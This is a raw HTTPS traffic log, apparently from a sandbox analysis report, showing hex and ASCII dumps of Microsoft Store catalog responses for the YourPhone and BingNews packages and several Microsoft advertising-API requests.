59 6f 75 72 50 68 6f 6e 65 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 53 6b 75 49 64 22 3a 22 30 30 31 31 22 2c 
22 43 6f 6e 74 65 6e 74 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 65 61 74 75 72 65 73 22 3a 6e 75 6c 6c 7d 7d 2c 
7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 73 22 3a 5b 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 49 64 22 3a 22 41 70 70 22 
7d 5d 2c 22 41 72 63 68 69 74 65 63 74 75 72 65 73 22 3a 5b 22 
Data Ascii: -2635-45dd-af5c-ffe7cc982b4d","WuCategoryId":"b99aef9a-1685-4798-b4b1-3d94ee6d7184","PackageFamily
Name":"Microsoft.YourPhone_8wekyb3d8bbwe","SkuId":"0011","Content":null,"PackageFeatures":null}},{"Applications":
[{"ApplicationId":"App"}],"Architectures":["

2021-11-25 16:28:41 UTC 1697 IN Data Raw: 5c 22 6c 65 76 65 6c 5c 22 3a 34 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 32 7d 2c 7b 5c 22 6c 65 76 
65 6c 5c 22 3a 32 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 39 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 36 2c 5c 22 
73 79 73 74 65 6d 49 64 5c 22 3a 31 36 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 36 38 2c 5c 22 73 79 73 74 65 6d 49 64 
5c 22 3a 31 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 35 34 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 33 7d 5d 7d 
7d 22 2c 22 50 61 63 6b 61 67 65 44 6f 77 6e 6c 6f 61 64 55 72 69 73 22 3a 6e 75 6c 6c 2c 22 46 75 6c 66 69 6c 6c 6d 65 
6e 74 44 61 74 61 22 3a 7b 22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 4e 4d 50 4a 39 39 56 4a 42 57 56 22 2c 22 57 75 4
2 75 6e 64 6c 65 49 64 22 3a 22 36 36 33 39 37 30 61 38 2d 32 36 
Data Ascii: \"level\":48,\"systemId\":12},{\"level\":27,\"systemId\":9},{\"level\":76,\"systemId\":16},{\"level\":68,\"systemId\":15},
{\"level\":54,\"systemId\":13}]}}","PackageDownloadUris":null,"FulfillmentData":{"ProductId":"9NMPJ99VJBWV","WuBundl
eId":"663970a8-26

2021-11-25 16:28:41 UTC 1701 IN Data Raw: 6b 75 70 52 65 73 74 6f 72 65 5c 22 3a 74 72 75 65 2c 5c 22 6f 70 74 4f 75 74 2e 72 65 6d 6f 76 65 61 62 6c 
65 4d 65 64 69 61 5c 22 3a 74 72 75 65 7d 2c 5c 22 70 6f 6c 69 63 79 32 5c 22 3a 7b 5c 22 61 67 65 52 61 74 69 6e 67 5c
22 3a 31 2c 5c 22 6f 70 74 4f 75 74 2e 44 56 52 5c 22 3a 74 72 75 65 2c 5c 22 74 68 69 72 64 50 61 72 74 79 41 70 70 52 
61 74 69 6e 67 73 5c 22 3a 5b 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 33 7d 2c 
7b 5c 22 6c 65 76 65 6c 5c 22 3a 31 32 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 
3a 34 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 32 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 32 37 2c 5c 22 73 79 
73 74 65 6d 49 64 5c 22 3a 39 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 
Data Ascii: kupRestore\":true,\"optOut.removeableMedia\":true},\"policy2\":{\"ageRating\":1,\"optOut.DVR\":true,\"thirdP
artyAppRatings\":[{\"level\":7,\"systemId\":3},{\"level\":12,\"systemId\":5},{\"level\":48,\"systemId\":12},{\"level\":27,\"system
Id\":9},{\"level\

2021-11-25 16:28:41 UTC 1705 IN Data Raw: 35 31 31 36 33 30 38 38 38 39 36 2c 5c 22 70 6c 61 74 66 6f 72 6d 2e 6d 69 6e 56 65 72 73 69 6f 6e 5c 22 3a 
32 38 31 34 37 35 30 38 39 30 30 30 30 33 38 34 2c 5c 22 70 6c 61 74 66 6f 72 6d 2e 74 61 72 67 65 74 5c 22 3a 30 7d 
5d 2c 5c 22 63 6f 6e 74 65 6e 74 2e 74 79 70 65 5c 22 3a 37 2c 5c 22 70 6f 6c 69 63 79 5c 22 3a 7b 5c 22 63 61 74 65 67 
6f 72 79 2e 66 69 72 73 74 5c 22 3a 5c 22 61 70 70 5c 22 2c 5c 22 63 61 74 65 67 6f 72 79 2e 73 65 63 6f 6e 64 5c 22 3a 
5c 22 50 72 6f 64 75 63 74 69 76 69 74 79 5c 22 2c 5c 22 6f 70 74 4f 75 74 2e 62 61 63 6b 75 70 52 65 73 74 6f 72 65 5c 
22 3a 74 72 75 65 2c 5c 22 6f 70 74 4f 75 74 2e 72 65 6d 6f 76 65 61 62 6c 65 4d 65 64 69 61 5c 22 3a 74 72 75 65 7d 2c 
5c 22 70 6f 6c 69 63 79 32 5c 22 3a 7b 5c 22 61 67 65 52 61 
Data Ascii: 51163088896,\"platform.minVersion\":2814750890000384,\"platform.target\":0}],\"content.type\":7,\"policy\":{
\"category.first\":\"app\",\"category.second\":\"Productivity\",\"optOut.backupRestore\":true,\"optOut.removeableMedia\"
:true},\"policy2\":{\"ageRa
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2021-11-25 16:28:41 UTC 1709 IN Data Raw: 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 32 30 32 31 2e 37 32 32 2e 31 34 32 2e 30 5f 6e 65 75 74 72 61 6c 5f 7e 
5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 72 6f 64 75 63 74 49 64 5c 22 3a 5c 
22 64 30 39 33 32 63 37 33 2d 65 37 33 30 2d 34 36 38 30 2d 62 63 34 34 2d 61 35 39 30 38 66 65 63 62 66 38 62 5c 22 
2c 5c 22 63 6f 6e 74 65 6e 74 2e 74 61 72 67 65 74 50 6c 61 74 66 6f 72 6d 73 5c 22 3a 5b 7b 5c 22 70 6c 61 74 66 6f 72 
6d 2e 6d 61 78 56 65 72 73 69 6f 6e 54 65 73 74 65 64 5c 22 3a 32 38 31 34 37 35 31 31 36 33 30 38 38 38 39 36 2c 5c 
22 70 6c 61 74 66 6f 72 6d 2e 6d 69 6e 56 65 72 73 69 6f 6e 5c 22 3a 32 38 31 34 37 35 30 38 39 30 30 30 30 33 38 34 2c 
5c 22 70 6c 61 74 66 6f 72 6d 2e 74 61 72 67 65 74 5c 22 3a 
Data Ascii: ft.YourPhone_2021.722.142.0_neutral_~_8wekyb3d8bbwe\",\"content.productId\":\"d0932c73-e730-4680-bc44-
a5908fecbf8b\",\"content.targetPlatforms\":[{\"platform.maxVersionTested\":2814751163088896,\"platform.minVersion\":
2814750890000384,\"platform.target\":

2021-11-25 16:28:41 UTC 1713 IN Data Raw: 65 64 50 61 63 6b 61 67 65 73 5c 22 3a 5b 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 31 
2e 32 31 30 36 32 2e 31 35 32 2e 30 5f 78 38 36 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 4d 69 63 72 
6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 31 2e 32 31 30 36 32 2e 31 35 32 2e 30 5f 78 36 34 5f 5f 38 77 65 6b 79 62 
33 64 38 62 62 77 65 5c 22 5d 2c 5c 22 63 6f 6e 74 65 6e 74 2e 69 73 4d 61 69 6e 5c 22 3a 66 61 6c 73 65 2c 5c 22 63 6f 
6e 74 65 6e 74 2e 70 61 63 6b 61 67 65 49 64 5c 22 3a 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 
32 30 32 31 2e 38 30 39 2e 32 31 33 39 2e 30 5f 6e 65 75 74 72 61 6c 5f 7e 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 
22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 72 6f 64 75 
Data Ascii: edPackages\":[\"Microsoft.YourPhone_1.21062.152.0_x86__8wekyb3d8bbwe\",\"Microsoft.YourPhone_1.210
62.152.0_x64__8wekyb3d8bbwe\"],\"content.isMain\":false,\"content.packageId\":\"Microsoft.YourPhone_2021.809.2
139.0_neutral_~_8wekyb3d8bbwe\",\"content.produ

2021-11-25 16:28:41 UTC 1717 IN Data Raw: 65 70 65 6e 64 65 6e 63 69 65 73 22 3a 5b 7b 22 4d 61 78 54 65 73 74 65 64 22 3a 32 38 31 34 37 35 31 31 
36 33 30 38 38 38 39 36 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 32 38 31 34 37 35 30 39 37 30 34 37 38 35 39 32 2c 
22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 58 62 6f 78 22 7d 5d 2c 22 50 6c 61 74 66 6f 72 
6d 44 65 70 65 6e 64 65 6e 63 79 58 6d 6c 42 6c 6f 62 22 3a 22 7b 5c 22 62 6c 6f 62 2e 76 65 72 73 69 6f 6e 5c 22 3a 31 
36 38 38 38 36 37 30 34 30 35 32 36 33 33 36 2c 5c 22 63 6f 6e 74 65 6e 74 2e 62 75 6e 64 6c 65 64 50 61 63 6b 61 67 6
5 73 5c 22 3a 5b 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 31 2e 32 31 30 38 34 2e 37 37 2e 37 30 
5f 78 38 36 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 
Data Ascii: ependencies":[{"MaxTested":2814751163088896,"MinVersion":2814750970478592,"PlatformName":"Windows.
Xbox"}],"PlatformDependencyXmlBlob":"{\"blob.version\":1688867040526336,\"content.bundledPackages\":[\"Microso
ft.YourPhone_1.21084.77.70_x86__8wekyb3d8bbwe\"

2021-11-25 16:28:41 UTC 1721 IN Data Raw: 46 6f 72 44 6c 63 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 75 6c 6c 4e 61 6d 65 22 3a 22 4d 69 63 72 
6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 32 30 32 31 2e 31 30 30 34 2e 31 38 30 31 2e 30 5f 6e 65 75 74 72 61 6c 5f 
7e 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 50 61 63 6b 61 67 65 49 64 22 3a 22 32 36 31 35 64 37 62 65 2d 
61 36 34 32 2d 62 66 64 35 2d 39 34 35 64 2d 65 35 66 36 32 33 65 32 61 39 33 38 2d 58 38 36 2d 58 36 34 22 2c 22 50 
61 63 6b 61 67 65 52 61 6e 6b 22 3a 33 30 33 32 32 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 69 65 73 
22 3a 5b 7b 22 4d 61 78 54 65 73 74 65 64 22 3a 32 38 31 34 37 35 31 31 36 33 30 38 38 38 39 36 2c 22 4d 69 6e 56 65 
72 73 69 6f 6e 22 3a 32 38 31 34 37 35 30 39 37 30 34 37 38 35 39 
Data Ascii: ForDlc":null,"PackageFullName":"Microsoft.YourPhone_2021.1004.1801.0_neutral_~_8wekyb3d8bbwe","Pac
kageId":"2615d7be-a642-bfd5-945d-e5f623e2a938-X86-X64","PackageRank":30322,"PlatformDependencies":[{
"MaxTested":2814751163088896,"MinVersion":281475097047859

2021-11-25 16:28:41 UTC 1725 IN Data Raw: 65 6e 63 65 49 64 73 22 3a 5b 5d 2c 22 4d 61 78 44 6f 77 6e 6c 6f 61 64 53 69 7a 65 49 6e 42 79 74 65 73 22 
3a 35 38 32 37 37 39 35 34 36 2c 22 4d 61 78 49 6e 73 74 61 6c 6c 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 33 30 31 30 
37 32 33 38 34 2c 22 50 61 63 6b 61 67 65 46 6f 72 6d 61 74 22 3a 22 45 41 70 70 78 42 75 6e 64 6c 65 22 2c 22 50 61 
63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 38 77 
65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 4d 61 69 6e 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 46 6f 72 44 6
c 63 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 75 6c 6c 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 7
5 72 50 68 6f 6e 65 5f 32 30 32 31 2e 31 30 31 35 2e 32 31 34 36 
Data Ascii: enceIds":[],"MaxDownloadSizeInBytes":582779546,"MaxInstallSizeInBytes":301072384,"PackageFormat":"
EAppxBundle","PackageFamilyName":"Microsoft.YourPhone_8wekyb3d8bbwe","MainPackageFamilyNameForDlc":n
ull,"PackageFullName":"Microsoft.YourPhone_2021.1015.2146

2021-11-25 16:28:41 UTC 1729 IN Data Raw: 2c 22 70 68 6f 6e 65 43 61 6c 6c 53 79 73 74 65 6d 22 2c 22 74 61 72 67 65 74 65 64 43 6f 6e 74 65 6e 74 22 
2c 22 72 75 6e 46 75 6c 6c 54 72 75 73 74 22 2c 22 70 61 63 6b 61 67 65 4d 61 6e 61 67 65 6d 65 6e 74 22 2c 22 4d 69 
63 72 6f 73 6f 66 74 2e 75 6e 73 69 67 6e 65 64 50 61 63 6b 61 67 65 4d 61 6e 61 67 65 6d 65 6e 74 5f 38 77 65 6b 79 62 
33 64 38 62 62 77 65 22 2c 22 4d 69 63 72 6f 73 6f 66 74 2e 73 74 6f 72 65 46 69 6c 74 65 72 2e 63 6f 72 65 2e 6e 6f 74 
53 75 70 70 6f 72 74 65 64 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 5d 2c 22 45 78 70 65 72 69 65 6e 63 65 49 64 
73 22 3a 5b 5d 2c 22 4d 61 78 44 6f 77 6e 6c 6f 61 64 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 32 32 39 36 39 30 37 36 38 
2c 22 4d 61 78 49 6e 73 74 61 6c 6c 53 69 7a 65 49 6e 42 79 74 
Data Ascii: ,"phoneCallSystem","targetedContent","runFullTrust","packageManagement","Microsoft.unsignedPackage
Management_8wekyb3d8bbwe","Microsoft.storeFilter.core.notSupported_8wekyb3d8bbwe"],"ExperienceIds":[],"MaxDown
loadSizeInBytes":229690768,"MaxInstallSizeInByt

2021-11-25 16:28:41 UTC 1733 IN Data Raw: 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 49 64 22 3a 22 41 70 70 22 7d 5d 2c 22 41 72 63 68 69 74 65 63 74 75 
72 65 73 22 3a 5b 22 78 38 36 22 2c 22 78 36 34 22 5d 2c 22 43 61 70 61 62 69 6c 69 74 69 65 73 22 3a 5b 22 69 6e 74 
65 72 6e 65 74 43 6c 69 65 6e 74 22 2c 22 70 72 69 76 61 74 65 4e 65 74 77 6f 72 6b 43 6c 69 65 6e 74 53 65 72 76 65 
72 22 2c 22 72 65 6d 6f 74 65 53 79 73 74 65 6d 22 2c 22 70 68 6f 6e 65 43 61 6c 6c 22 2c 22 63 6f 6e 66 69 72 6d 41 70 
70 43 6c 6f 73 65 22 2c 22 70 68 6f 6e 65 4c 69 6e 65 54 72 61 6e 73 70 6f 72 74 4d 61 6e 61 67 65 6d 65 6e 74 22 2c 22 
70 68 6f 6e 65 43 61 6c 6c 53 79 73 74 65 6d 22 2c 22 74 61 72 67 65 74 65 64 43 6f 6e 74 65 6e 74 22 2c 22 72 75 6e 46 
75 6c 6c 54 72 75 73 74 22 2c 22 70 61 63 6b 61 67 65 4d 61 6e 
Data Ascii: {"ApplicationId":"App"}],"Architectures":["x86","x64"],"Capabilities":["internetClient","privateNetworkClien
tServer","remoteSystem","phoneCall","confirmAppClose","phoneLineTransportManagement","phoneCallSystem","target
edContent","runFullTrust","packageMan

2021-11-25 16:28:41 UTC 1737 IN Data Raw: 63 63 39 38 32 62 34 64 22 2c 22 57 75 43 61 74 65 67 6f 72 79 49 64 22 3a 22 62 39 39 61 65 66 39 61 2d 31 
36 38 35 2d 34 37 39 38 2d 62 34 62 31 2d 33 64 39 34 65 65 36 64 37 31 38 34 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 
69 6c 79 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 38 77 65 6b 79 62 33 64 38 62 
62 77 65 22 2c 22 53 6b 75 49 64 22 3a 22 30 30 31 31 22 2c 22 43 6f 6e 74 65 6e 74 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 
61 67 65 46 65 61 74 75 72 65 73 22 3a 6e 75 6c 6c 7d 7d 2c 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 73 22 3a 5b 7b 22 
41 70 70 6c 69 63 61 74 69 6f 6e 49 64 22 3a 22 41 70 70 22 7d 5d 2c 22 41 72 63 68 69 74 65 63 74 75 72 65 73 22 3a 5
b 22 78 38 36 22 2c 22 78 36 34 22 5d 2c 22 43 61 70 61 62 69 6c 
Data Ascii: cc982b4d","WuCategoryId":"b99aef9a-1685-4798-b4b1-3d94ee6d7184","PackageFamilyName":"Microsoft.You
rPhone_8wekyb3d8bbwe","SkuId":"0011","Content":null,"PackageFeatures":null}},{"Applications":[{"ApplicationId":"App"}],"
Architectures":["x86","x64"],"Capabil
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2021-11-25 16:28:41 UTC 1741 IN Data Raw: 65 6d 49 64 5c 22 3a 31 36 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 36 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 
22 3a 31 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 35 34 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 33 7d 5d 7d 7d 
22 2c 22 50 61 63 6b 61 67 65 44 6f 77 6e 6c 6f 61 64 55 72 69 73 22 3a 6e 75 6c 6c 2c 22 46 75 6c 66 69 6c 6c 6d 65 6e 
74 44 61 74 61 22 3a 7b 22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 4e 4d 50 4a 39 39 56 4a 42 57 56 22 2c 22 57 75 42 
75 6e 64 6c 65 49 64 22 3a 22 36 36 33 39 37 30 61 38 2d 32 36 33 35 2d 34 35 64 64 2d 61 66 35 63 2d 66 66 65 37 63 
63 39 38 32 62 34 64 22 2c 22 57 75 43 61 74 65 67 6f 72 79 49 64 22 3a 22 62 39 39 61 65 66 39 61 2d 31 36 38 35 2d 
34 37 39 38 2d 62 34 62 31 2d 33 64 39 34 65 65 36 64 37 31 38 34 22 
Data Ascii: emId\":16},{\"level\":68,\"systemId\":15},{\"level\":54,\"systemId\":13}]}}","PackageDownloadUris":null,"Ful
fillmentData":{"ProductId":"9NMPJ99VJBWV","WuBundleId":"663970a8-2635-45dd-af5c-ffe7cc982b4d","WuCategoryId":"
b99aef9a-1685-4798-b4b1-3d94ee6d7184"

2021-11-25 16:28:41 UTC 1744 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

42 192.168.2.4 49845 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:28:40 UTC 1536 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=80d89a1a53594a95999603c5b1ef6dad&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=DC80827EA27E32E89319C2C90EDF85D6&itemId=9WZDNCRFJ27N&skuId=0010&installKind
=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=7ce082eac3534ff581e52b293cda5133&time=20211125T162815Z 
HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2021-11-25 16:28:41 UTC 1569 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: f658db80-117c-40cf-a2e4-61d7058bb94d
Date: Thu, 25 Nov 2021 16:28:40 GMT
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

43 192.168.2.4 49846 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:28:41 UTC 1744 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=80d89a1a53594a95999603c5b1ef6dad&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=DC80827EA27E32E89319C2C90EDF85D6&itemId=9N0866FS04W8&skuId=0010&installKind=Install&c
tid=store-curated-postoobe&bSrc=i.t&asid=7ce082eac3534ff581e52b293cda5133&time=20211125T162816Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2021-11-25 16:28:41 UTC 1745 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 69a6dd02-2f4d-4ceb-aa89-dca03f4d95b7
Date: Thu, 25 Nov 2021 16:28:41 GMT
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

44 192.168.2.4 49847 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:28:41 UTC 1745 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=80d89a1a53594a95999603c5b1ef6dad&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=DC80827EA27E32E89319C2C90EDF85D6&itemId=9WZDNCRFJ10M&skuId=0010&installKind
=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=7ce082eac3534ff581e52b293cda5133&time=20211125T162817Z 
HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive
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2021-11-25 16:28:41 UTC 1745 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: eba7cc53-3d4d-48c8-989d-95bc99bcd6bd
Date: Thu, 25 Nov 2021 16:28:40 GMT
Connection: close

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

45 192.168.2.4 49848 20.54.110.249 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:28:41 UTC 1746 OUT GET /v7.0/products/lookup?alternateId=PackageFamilyName&value=Microsoft.BingNews_8wekyb3d8bbwe&marke
t=US&languages=en-US%2Cen%2Cneutral&fieldsTemplate=InstallAgent&moId=Public&oemId=Public&scmId=Public 
HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json
User-Agent: Install Service
MS-CV: 6Ev2kv928EajQSNu.0.2.4
Host: displaycatalog.mp.microsoft.com

2021-11-25 16:28:41 UTC 1747 IN HTTP/1.1 200 OK
Connection: close
Date: Thu, 25 Nov 2021 16:28:41 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Transfer-Encoding: chunked
Vary: Authorization
MS-CorrelationId: 3a3cdce2-122e-4093-89bb-2a66ec38ab61
MS-RequestId: 0ebffd0d-066e-4324-98f7-5fe335e55466
MS-CV: 6Ev2kv928EajQSNu.0.2.4.2955977881.0.1.2955977882.0.0
X-Content-Type-Options: nosniff
MS-ServerId: 86f44b-7b6ld
Region: neu
Node: aks-systempool-37630073-vmss00001o
MS-DocumentVersions: 9WZDNCRFHVFW|3749

2021-11-25 16:28:41 UTC 1747 IN Data Raw: 33 30 32 63 39 0d 0a 7b 22 42 69 67 49 64 73 22 3a 5b 22 39 57 5a 44 4e 43 52 46 48 56 46 57 22 5d 2c 22 
48 61 73 4d 6f 72 65 50 61 67 65 73 22 3a 66 61 6c 73 65 2c 22 50 72 6f 64 75 63 74 73 22 3a 5b 7b 22 4c 61 73 74 4d 6f 
64 69 66 69 65 64 44 61 74 65 22 3a 22 32 30 32 31 2d 31 31 2d 30 39 54 32 33 3a 30 33 3a 31 32 2e 37 31 31 36 31 39 
32 5a 22 2c 22 4c 6f 63 61 6c 69 7a 65 64 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 7b 22 46 72 61 6e 63 68 69 73 65 73 2
2 3a 5b 5d 2c 22 49 6d 61 67 65 73 22 3a 5b 7b 22 46 69 6c 65 49 64 22 3a 22 32 30 30 30 30 30 30 30 30 30 30 38 31 37 
31 39 32 31 31 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 
6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 23 32 36 32 46 33 38 22 
Data Ascii: 302c9{"BigIds":["9WZDNCRFHVFW"],"HasMorePages":false,"Products":[{"LastModifiedDate":"2021-11-09T2
3:03:12.7116192Z","LocalizedProperties":[{"Franchises":[],"Images":[{"FileId":"2000000000081719211","EISListingIdentifie
r":null,"BackgroundColor":"#262F38"

2021-11-25 16:28:41 UTC 1751 IN Data Raw: 32 33 65 64 36 63 35 61 31 2e 64 66 39 63 34 35 65 66 2d 35 61 63 36 2d 34 64 32 66 2d 62 35 32 39 2d 38 
64 65 66 65 64 37 30 34 64 31 63 22 2c 22 57 69 64 74 68 22 3a 36 36 7d 2c 7b 22 46 69 6c 65 49 64 22 3a 22 32 30 30 
30 30 30 30 30 30 30 30 38 31 37 31 38 39 32 38 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 2
2 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 23 32 36 32 46 33 38 22 2c 22 43 61 70 74 6
9 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 31 37 32 38 2c 22 46 6f 72 65 67 72 6f 75 6
e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 38 38 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 6
6 6f 22 3a 22 22 2c 22 49 6d 61 67 65 50 75 72 70 6f 73 65 22 3a 
Data Ascii: 23ed6c5a1.df9c45ef-5ac6-4d2f-b529-8defed704d1c","Width":66},{"FileId":"2000000000081718928","EISLi
stingIdentifier":null,"BackgroundColor":"#262F38","Caption":"","FileSizeInBytes":1728,"ForegroundColor":"","Height":88,"
ImagePositionInfo":"","ImagePurpose":

2021-11-25 16:28:41 UTC 1755 IN Data Raw: 73 22 3a 35 34 32 34 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 
22 3a 33 30 30 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 22 2c 22 49 6d 61 67 65 50 75 72 70 6f 
73 65 22 3a 22 54 69 6c 65 22 2c 22 55 6e 73 63 61 6c 65 64 49 6d 61 67 65 53 48 41 32 35 36 48 61 73 68 22 3a 22 41 
4a 6b 79 42 55 41 30 37 6e 63 46 2b 53 6c 36 76 7a 61 65 5a 74 33 74 41 4a 45 32 2f 35 31 65 66 34 2b 41 58 51 54 45 
59 67 59 3d 22 2c 22 55 72 69 22 3a 22 2f 2f 73 74 6f 72 65 2d 69 6d 61 67 65 73 2e 73 2d 6d 69 63 72 6f 73 6f 66 74 2e 
63 6f 6d 2f 69 6d 61 67 65 2f 61 70 70 73 2e 33 39 31 36 38 2e 39 30 30 37 31 39 39 32 36 36 32 34 37 38 34 36 2e 62 35 
63 34 39 39 35 35 2d 65 30 35 30 2d 34 35 35 33 2d 62 38 65 34 
Data Ascii: s":5424,"ForegroundColor":"","Height":300,"ImagePositionInfo":"","ImagePurpose":"Tile","UnscaledIm
ageSHA256Hash":"AJkyBUA07ncF+Sl6vzaeZt3tAJE2/51ef4+AXQTEYgY=","Uri":"//store-images.s-microsoft.com/
image/apps.39168.9007199266247846.b5c49955-e050-4553-b8e4

2021-11-25 16:28:41 UTC 1759 IN Data Raw: 22 2c 22 43 4d 22 2c 22 43 56 22 2c 22 4b 59 22 2c 22 43 46 22 2c 22 54 44 22 2c 22 54 4c 22 2c 22 44 4a 22 
2c 22 44 4d 22 2c 22 44 4f 22 2c 22 45 43 22 2c 22 53 56 22 2c 22 47 51 22 2c 22 45 52 22 2c 22 45 54 22 2c 22 46 4b 22
